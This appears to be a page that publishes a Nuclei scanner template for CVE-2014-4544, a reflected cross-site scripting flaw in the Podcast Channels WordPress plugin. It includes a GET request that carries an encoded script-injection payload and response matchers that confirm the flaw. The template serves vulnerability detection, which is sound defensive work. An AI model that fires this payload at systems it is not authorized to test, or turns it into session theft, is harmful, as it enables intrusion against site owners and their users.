Podcast Channels < 0.28 - Cross-Site Scripting

ID: CVE-2014-4544

Severity: medium

Author: daffainfo

Tags: cve2014,cve,wpscan,wordpress,wp-plugin,xss,unauth,podcast_channels_project

Description

The Podcast Channels WordPress plugin was affected by an unauthenticated reflected cross-site scripting security vulnerability.

YAML Source

id: CVE-2014-4544

info:
  name: Podcast Channels < 0.28 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: The Podcast Channels WordPress plugin was affected by an unauthenticated reflected cross-site scripting security vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected website, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Update to the latest version of the Podcast Channels plugin (0.28 or higher) to fix this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/72a5a0e1-e720-45a9-b9d4-ee3144939abb
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4544
    - http://codevigilant.com/disclosure/wp-plugin-podcast-channels-a3-cross-site-scripting-xss
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4544
    cwe-id: CWE-79
    epss-score: 0.00118
    epss-percentile: 0.45869
    cpe: cpe:2.3:a:podcast_channels_project:podcast_channels:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: podcast_channels_project
    product: podcast_channels
    framework: wordpress
  tags: cve2014,cve,wpscan,wordpress,wp-plugin,xss,unauth,podcast_channels_project

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/podcast-channels/getid3/demos/demo.write.php?Filename=Filename%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100df4e51cf624800e86f57bb56bb92c0d03b9e53dd7a42ecee588466a233368a44022015a003282525b76714e073a414fe70572a5fe7b6fd767243e773ed594179b3f4:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2014/CVE-2014-4544.yaml"

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